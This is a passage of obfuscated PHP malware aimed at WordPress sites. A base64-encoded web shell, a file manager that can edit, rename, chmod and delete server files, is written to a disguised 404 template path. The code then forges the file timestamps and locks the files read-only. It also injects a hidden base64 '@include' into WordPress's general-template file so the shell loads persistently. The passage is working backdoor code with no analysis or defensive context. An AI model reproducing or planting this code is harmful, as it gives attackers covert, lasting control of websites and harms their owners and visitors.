gICAgICAgJHNjYW5kaXIgPSBzY2FuZGlyKCRwYXRoKTsKICAgICAgICAkcGEgPSBnZXRjd2QoKTsKICAgICAgICBlY2hvICcgPGRpdiBpZD0iY29udGVudCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBjbGFzcz0idGFibGVfaG9tZSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjEiIGFsaWduPSJjZW50ZXIiPgogCjx0cj4KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiPjxjZW50ZXI+5ZCN56ewPC9jZW50ZXI+PC90aD4KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiID48Y2VudGVyPuWkp+WwjzwvY2VudGVyPjwvdGg+Cjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7IiA+PGNlbnRlcj7mnYPpmZA8L2NlbnRlcj48L3RoPgo8dGggY2xhc3M9dGhfaG9tZSBzdHlsZT0iYmFja2dyb3VuZDpibGFjaztjb2xvcjojZmZmOyIgPjxjZW50ZXI+5pON5L2c6YCJ6aG5PC9jZW50ZXI+PC90aD4KPC90cj4KCgogPHRyPgo8dGQgY2xhc3M9InRkX2hvbWUiIGFsaWduPSJjZW50ZXIiPgo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuZGlybmFtZSgkcGF0aCkuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5LiK5LiA6aG1Ij7kuIrkuIDpobU8L2E+CjwvdGQ+PHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249Y2VudGVyPlNpemU8L3RkPiA8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+Q2htb2Q8L3RkPiA8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+IDxhIGhyZWY9Ij9vcHRpb24mQVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJHBhdGguJyZvcHQ9YmFydSZuYW1lPW5ldy5waHAiPisg5paw5bu65paH5Lu2PC9hPiB8IDxhIGhyZWY9Ij9vcHRpb24mQVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJHBhdGguJyZvcHQ9YnR3JnR5cGU9ZGlyIj4rIOaWsOW7uuebruW9lTwvYT4gPC90ZD48L3RyPgonOwoKICAgICAgICBmb3JlYWNoKCRzY2FuZGlyIGFzICRkaXIpewogICAgICAgICAgICBpZighaXNfZGlyKCIkcGF0aC8kZGlyIikgfHwgJGRpciA9PSAnLicgfHwgJGRpciA9PSAnLi4nKSBjb250aW51ZTsKICAgICAgICAgICAgZWNobyAiCjx0cj4KPHRkIGNsYXNzPXRkX2hvbWU+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FNN09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJkRW9NcUNlYnAiLiIvNFljaGZmekdRaEg0WVJZUEIyRE9sSFBpS3dxZDFQcTh5clZWZzNRWWVINVJZSzVySmZhRlVVQTN2QjRmQklCQURzPSc+IDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aC8kZGlyXCI+JGRpcjwvYT48L3RkPgo8dGQgY2xhc3M9dGRfaG9tZSA+PGNlbnRlcj5ESVI8L2NlbnRlcj48L3RkPgo8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+CjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PWNobW9kJnR5cGU9ZGlyJm5hbWU9JGRpclwiIHRpdGxlPSfmnYPpmZDorr7nva4nPgoiOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPic7CiAgICAgICAgICAgIGVsc2VpZighaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+JzsKICAgICAgICAgICAgZWNobyBqdWVqaWFuZ19wZXJtcygiJHBhdGgvJGRpciIpOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpIHx8ICFpc19yZWFkYWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8L2ZvbnQ+JzsKCiAgICAgICAgICAgIGVjaG8gIgo8L2E+CjwvdGQ+CgoKPHRkIGNsYXNzPXRkX2hvbWUgPjxjZW50ZXI+CjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PXJlbmFtZSZ0eXBlPWRpciZuYW1lPSRkaXJcIj7ph43lkb3lkI08L2E+CjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWRpciZuYW1lPXskZGlyfSdcIj7liKDpmaQ8L2E+CjwvY2VudGVyPjwvdGQ+CjwvdHI+IjsKICAgICAgICB9CiAgICAgICAgZWNobyAnPGJyPic7CiAgICAgICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZmlsZSl7CiAgICAgICAgICAgIGlmKCFpc19maWxlKCIkcGF0aC8kZmlsZSIpKSBjb250aW51ZTsKICAgICAgICAgICAgJHNpemUgPSBmaWxlc2l6ZSgiJHBhdGgvJGZpbGUiKS8xMDI0OwogICAgICAgICAgICAkc2l6ZSA9IHJvdW5kKCRzaXplLDMpOwogICAgICAgICAgICBpZigkc2l6ZSA+PSAxMDI0KXsKICAgICAgICAgICAgICAgICRzaXplID0gcm91bmQoJHNpemUvMTAyNCwyKS4nIE1CJzsKICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAkc2l6ZSA9ICRzaXplLicgS0InOwogICAgICAgICAgICB9CgoKICAgICAgICAgICAgZWNobyAiPHRyPgo8dGQgY2xhc3M9dGRfaG9tZSA+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUF3QUFBQVFDQVlBQUFBaVlaNEhBQUFBQ1hCSVdYTUFBQXNUQUFBTEV3RUFtcHdZQUFBS1RXbERRMUJRYUc5MGIzTm9iM0FnU1VORElIQnliMlpwYkdVQUFIamFuVk4zV0pQM0ZqN2Y5MlVQVmtMWThMR1hiSUVBSWlPc0NNZ1FXYUlRa2dCaGhCQVNRTVdGaUFwV0ZCVVJuRWhWeElMVkNraWRpT0tnS0xoblFZcUlXb3RWWERqdUg5eW50WDE2NyszdCs5Zjd2T2VjNS96T2VjOFBnQkVTSnBIbW9tb0FPVktGUERyWUg0OVBTTVRKdllBQ0ZVamdCQ0FRNXN2Q1p3WEZBQUR3QTNsNGZuU3dQL3dCcjI4QUFnQncxUzRrRXNmaC80TzZVQ1pYQUNDUkFPQWlFdWNMQVpCU0FNZ3VWTWdVQU1nWUFMQlRzMlFLQUpRQUFHeDVmRUlpQUtvTkFPejBTVDRGQU5pcGs5d1hBTmlpSEtrSUFJMEJBSmtvUnlRQ1FMc0FZRldCVWl3Q3dNSUFvS3hBSWk0RXdLNEJnRm0yTWtjQ2dMMEZBSGFPV0pBUFFHQUFnSmxDTE13QUlEZ0NBRU1lRTgwRElFd0RvRERTditDcFgzQ0Z1RWdCQU1ETGxjMlhTOUl6RkxpVjBCcDM4dkRnNGlIaXdteXhRbUVYS1JCbUNlUWluSmViSXhOSTV3Tk16Z3dBQUJyNTBjSCtPRCtRNStiazRlWm01Mnp2OU1XaS9tdndieUkrSWZIZi9yeU1BZ1FBRUU3UDc5cGY1ZVhXQTNESEFiQjF2MnVwV3dEYVZnQm8zL2xkTTlzSm9Gb0swSHI1aTNrNC9FQWVucUZReUR3ZEhBb0xDKzBsWXFHOU1PT0xQdjh6NFcvZ2kzNzIvRUFlL3R0NjhBQnhta0NacmNDamcvMXhZVzUycmxLTzU4c0VRakZ1OStjai9zZUZmLzJPS2RIaU5MRmNMQldLOFZpSnVGQWlUY2Q1dVZLUlJDSEpsZUlTNlg4eThSK1cvUW1UZHcwQXJJWlB3RTYyQjdYTGJNQis3Z0VDaXc1WTBuWUFRSDd6TFl3YUM1RUFFR2MwTW5uM0FBQ1R2L21QUUNzQkFNMlhwT01BQUx6b0dGeW9sQmRNeGdnQUFFU2dnU3F3UVFjTXdSU3N3QTZjd1IyOHdCY0NZUVpFUUF3a3dEd1FRZ2JrZ0J3S29SaVdRUmxVd0RyWUJMV3dBeHFnRVpyaEVMVEJNVGdONStBU1hJSHJjQmNHWUJpZXdoaThoZ2tFUWNnSUUyRWhPb2dSWW83WUlzNElGNW1PQkNKaFNEU1NnS1FnNllnVVVTTEZ5SEtrQXFsQ2FwRmRTQ1B5TFhJVU9ZMWNRUHFRMjhnZ01vcjhpcnhITVpTQnNsRUQxQUoxUUxtb0h4cUt4cUJ6MFhRMEQxMkFscUpyMFJxMEhqMkF0cUtuMFV2b2RYUUFmWXFPWTREUk1RNW1qTmxoWEl5SFJXQ0pXQm9teHhaajVWZzFWbzgxWXgxWU4zWVZHOENlWWU4SUpBS0xnQlBzQ0Y2RUVNSnNncENRUjFoTVdFT29KZXdqdEJLNkNGY0pnNFF4d2ljaWs2aFB0Q1Y2RXZuRWVHSTZzWkJZUnF3bTdpRWVJWjRsWGljT0UxK1RTQ1FPeVpMa1Rnb2hKWkF5U1F0SmEwamJTQzJrVTZRKzBoQnBuRXdtNjVCdHlkN2tDTEtBckNDWGtiZVFENUJQa3Z2SncrUzNGRHJGaU9KTUNhSWtVcVNVRWtvMVpUL2xCS1dmTWtLWm9LcFJ6YW1lMUFpcWlEcWZXa2x0b0haUUwxT0hxUk0wZFpvbHpac1dROHVrTGFQVjBKcHBaMm4zYUMvcGRMb0ozWU1lUlpmUWw5SnI2QWZwNSttRDlIY01EWVlOZzhkSVlpZ1pheGw3R2FjWXR4a3ZtVXltQmRPWG1jaFVNTmN5RzVsbm1BK1liMVZZS3ZZcWZCV1J5aEtWT3BWV2xYNlY1NnBVVlhOVlA5VjVxZ3RVcTFVUHExNVdmYVpHVmJOUTQ2a0oxQmFyMWFrZFZidXBOcTdPVW5kU2oxRFBVVitqdmwvOWd2cGpEYktHaFVhZ2hraWpWR08zeGhtTklSYkdNbVh4V0VMV2NsWUQ2eXhybUUxaVc3TDU3RXgyQmZzYmRpOTdURk5EYzZwbXJHYVJacDNtY2MwQkRzYXg0UEE1Mlp4S3ppSE9EYzU3TFFNdFB5MngxbXF0WnExK3JUZmFldHErMm1MdGN1MFc3ZXZhNzNWd25VQ2RMSjMxT20wNjkzVUp1amE2VWJxRnV0dDF6K28rMDJQcmVla0o5Y3IxRHVuZDBVZjFiZlNqOVJmcTc5YnYwUjgzTURRSU5wQVpiREU0WS9ETWtHUG9hNWhwdU5Id2hPR29FY3RvdXBIRWFLUFJTYU1udUNidWgyZmpOWGdYUG1hc2J4eGlyRFRlWmR4clBHRmlhVExicE1Ta3hlUytLYzJVYTVwbXV0RzAwM1RNek1nczNLellyTW5zampuVm5HdWVZYjdadk52OGpZV2xSWnpGU29zMmk4ZVcycFo4eXdXV1RaYjNySmhXUGxaNVZ2VlcxNnhKMWx6ckxPdHQxbGRzVUJ0WG13eWJPcHZMdHFpdG02M0VkcHR0M3hUaUZJOHAwaW4xVTI3YU1lejg3QXJzbXV3RzdUbjJZZllsOW0zMnp4M01IQklkMWp0ME8zeHlkSFhNZG14d3ZPdWs0VFREcWNTcHcrbFhaeHRub1hPZDh6VVhwa3VReXhLWGRwY1hVMjJuaXFkdW4zckxsZVVhN3JyU3RkUDFvNXU3bTl5dDJXM1UzY3c5eFgyciswMHVteHZKWGNNOTcwSDA4UGRZNG5ITTQ1Mm5tNmZDODVEbkwxNTJYbGxlKzcwZVQ3T2NKcDdXTUczSTI4UmI0TDNMZTJBNlBqMWwrczdwQXo3R1BnS2ZlcCtIdnFhK0l0ODl2aU4rMW42WmZnZjhudnM3K3N2OWovaS80WG55RnZGT0JXQUJ3UUhsQWIyQkdvR3pBMnNESHdTWkJLVUhOUVdOQmJzR0x3dytGVUlNQ1ExWkgzS1RiOEFYOGh2NVl6UGNaeXlhMFJYS0NKMFZXaHY2TU13bVRCN1dFWTZHendqZkVINXZwdmxNNmN5MkNJamdSMnlJdUI5cEdaa1grWDBVS1NveXFpN3FVYlJUZEhGMDl5eldyT1JaKzJlOWp2R1BxWXk1Tzl0cXRuSjJaNnhxYkZKc1kreWJ1SUM0cXJpQmVJZjRSZkdYRW5RVEpBbnRpZVRFMk1ROWllTnpBdWRzbWpPYzVKcFVsblJqcnVYY29ya1g1dW5PeTU1M1BGazFXWkI4T0lXWUVwZXlQK1dESUVKUUx4aFA1YWR1VFIwVDhvU2JoVTlGdnFLTm9sR3h0N2hLUEpMbW5WYVY5ampkTzMxRCttaUdUMFoxeGpNSlQxSXJlWkVaa3JrajgwMVdSTmJlck0vWmNka3RPWlNjbEp5alVnMXBsclFyMXpDM0tMZFBaaXNya3cza2VlWnR5aHVUaDhyMzVDUDVjL1BiRld5RlROR2p0Rkt1VUE0V1RDK29LM2hiR0Z0NHVFaTlTRnJVTTk5bS91cjVJd3VDRm55OWtMQlF1TEN6MkxoNFdmSGdJcjlGdXhZamkxTVhkeTR4WFZLNlpIaHA4Tko5eTJqTHNwYjlVT0pZVWxYeWFubmM4bzVTZzlLbHBVTXJnbGMwbGFtVXljdHVydlJhdVdNVllaVmtWZTlxbDlWYlZuOHFGNVZmckhDc3FLNzRzRWE0NXVKWFRsL1ZmUFY1YmRyYTNrcTN5dTNyU091azYyNnM5MW0vcjBxOWFrSFYwSWJ3RGEwYjhZM2xHMTl0U3Q1MG9YcHE5WTdOdE0zS3pRTTFZVFh0Vzh5MnJOdnlvVGFqOW5xZGYxM0xWdjJ0cTdlKzJTYmExci9kZDN2ekRvTWRGVHZlNzVUc3ZMVXJlRmRydlVWOTlXN1M3b0xkanhwaUc3cS81bjdkdUVkM1Q4V2VqM3VsZXdmMlJlL3JhblJ2Yk55dnY3K3lDVzFTTm8wZVNEcHc1WnVBYjlxYjdacDN0WEJhS2c3Q1FlWEJKOSttZkh2alVPaWh6c1BjdzgzZm1YKzM5UWpyU0hrcjBqcS9kYXd0bzIyZ1BhRzk3K2lNbzUwZFhoMUh2cmYvZnU4eDQyTjF4eldQVjU2Z25TZzk4Zm5rZ3BQanAyU25ucDFPUHozVW1keDU5MHo4bVd0ZFVWMjlaMFBQbmo4WGRPNU10MS8zeWZQZTU0OWQ4THh3OUNMM1l0c2x0MHV0UGE0OVIzNXcvZUZJcjF0djYyWDN5KzFYUEs1MDlFM3JPOUh2MDMvNmFzRFZjOWY0MXk1ZG4zbTk3OGJzRzdkdUp0MGN1Q1c2OWZoMjl1MFhkd3J1VE54ZGVvOTRyL3krMnYzcUIvb1A2biswL3JGbHdHM2crR0RBWU0vRFdRL3ZEZ21IbnY2VS85T0g0ZEpIekVmVkkwWWpqWStkSHg4YkRScTk4bVRPaytHbnNxY1R6OHArVnY5NTYzT3I1OS85NHZ0THoxajgyUEFMK1l2UHY2NTVxZk55NzZ1cHJ6ckhJOGNmdk01NVBmR20vSzNPMjMzdnVPKzYzOGU5SDVrby9FRCtVUFBSK21QSHA5QlA5ejduZlA3OEwvZUU4L3NsMHA4ekFBQUFJR05JVWswQUFIb2xBQUNBZ3dBQStmOEFBSURwQUFCMU1BQUE2bUFBQURxWUFBQVhiNUpmeFVZQUFBRzRTVVJCVkhqYWZKTFBhaE5SRk1aLzk5eVphYkJ4Q05OS2l5Z294R0NnbEJaY3VDZ0k5ZzJLTDFOQ3dTNUtYOEFuVUxvU3VuUFZyZHZHZ0J1cEVWMjRFV1FDTThuTTVNKzkxOFZNUnVPaTMrckNQZC81ZmVmY3ExNzFYanUwNVRiWnVlSHkvRXdCZUdqTDI1TVQ1c2F3TUlhSlhUVi9HZ3g0ZDNYRjBYSFBYWjZmS1FHdzFySXdocGt4bU9tVVBNdEl4Mk9TSkdHY3Bydy9QVVY4emRGeHo4azRUZXR1Z2RZMGdvQkFhendSbEFoeEhQUG00b0lYblE2ZkIzMDhBQkhoWTc4UHdOWjZ4SzlKekc2M0M4REx3ME9jdFlSaHlJZnI2OUlBMEc2M2NWWCtKaTBhUVFDekdRQ0xmMmJ5QUxSU0RJZkR1anZBdDZvZzhockVpNEw5dmIzU1VHUVpTb1NublE0TGE3bExWSk9XdWw4VUFCUlpWczNnSEY5dWJ1cUNKV2xyUFNwcGs1aUQ3ZTJLa09jQTdIYTd6SXdwTS85SGF0TEMwNW9pei84Ty9mUHJkOEtXejQvZmFVMEJtRTh6L0xVNzZNM05rakF0Q3JRSUQ1NDhMa24zWUdZTUQ2TUlheTJtb2dKTWkyS1ZBQkMyZlBMYzU5SEdCb2dBWUl4QnFyTzNmT21ENTgvS3l5cTNjUTZ0VkcwQ0dLY3BYaklhcmF4UWkyQ3NMWXNCSllKVENpVkNNaHFobWpzN3p0cmJ2L2RTSXNLZkFRRGZJc0tIdkFaWVpBQUFBQUJKUlU1RXJrSmdnZz09Jz4KCiI7Ci8vIDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mZmlsZXNyYz0kcGF0aC8kZmlsZSZwYXRoPSRwYXRoXCI+JGZpbGU8L2E+CiAgICAgICAgICAgIGVjaG8gIgo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWVkaXQmdHlwZT1maWxlJm5hbWU9eyRmaWxlfVwiPnskZmlsZX08L2E+CjwvdGQ+Cjx0ZCBjbGFzcz10ZF9ob21lPjxjZW50ZXI+Ii4kc2l6ZS4iPC9jZW50ZXI+PC90ZD4KPHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249J2NlbnRlcic+PGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9Y2htb2QmdHlwZT1maWxlJm5hbWU9JGZpbGVcIiB0aXRsZT0n5p2D6ZmQ6K6+572uJz4iOwoKCgogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOwogICAgICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOwogICAgICAgICAgICBlY2hvIGp1ZWppYW5nX3Blcm1zKCIkcGF0aC8kZmlsZSIpOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZm9udD4nOwogICAgICAgICAgICBlY2hvICI8L2E+PC90ZD4KPHRkIGNsYXNzPXRkX2hvbWU+PGNlbnRlcj4KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9ZWRpdCZ0eXBlPWZpbGUmbmFtZT0kZmlsZVwiPue8lui+kTwvYT4KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZmlsZSZuYW1lPSRmaWxlJnBhdGg9JHBhdGhcIj7ph43lkb3lkI08L2E+CjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWZpbGUmbmFtZT17JGZpbGV9J1wiPuWIoOmZpDwvYT4KPC9jZW50ZXI+PC90ZD4KPC90cj4iOwogICAgICAgIH0KICAgICAgICBlY2hvICc8L3RhYmxlPgo8L2Rpdj4nOwogICAgfQogICAgZWNobyAnPGJyPjxicj48YnI+PGJyPjwvYj4KPC9ib2R5PiA8L2h0bWw+PC9ib2R5Pgo8L2h0bWw+JzsKICAgIGRpZTsKZW5kaWY7ICAvLyA9PT09CgoKCgoKCg=="; // WP 404
@chmod($jue_jiang_404_path, 0644);
@file_put_contents($jue_jiang_404_path, base64_decode($jue_jiang_404));
@touch($jue_jiang_404_path, filectime($file_general_template_path));
@chmod($jue_jiang_404_path, 0444);
}
$general_template_code = @file_get_contents($file_general_template_path);
$gen_mat = base64_decode("QGluY2x1ZGVbXHNdK2Jhc2U2NF9kZWNvZGVbXHNdKj9cKCJbMC05YS16QS1aLT0rXC9dKyJcKTs=");
$isget_mat = preg_match("/{$gen_mat}/i",$general_template_code)?true:false;
if (!$isget_mat){
$pma = base64_decode("ZnVuY3Rpb25bXHNdW2EtekEtWjAtOV9dKlwoLio/XCkuKg==");
preg_match_all("/{$pma}/i",$general_template_code,$pr);
$gen_temp_fun_name = $pr[0][rand(0,count($pr[0])-1)];
$jj404_b64_path = base64_encode($jue_jiang_404_path);
$new_general_template = str_replace($gen_temp_fun_name,"@include base64_decode(\"{$jj404_b64_path}\");".PHP_EOL.$gen_temp_fun_name,$general_template_code);
@chmod($file_general_template_path, 0644);
@file_put_contents($file_general_template_path,$new_general_template);
@touch($file_general_template_path, filectime($file_general_template_path));
}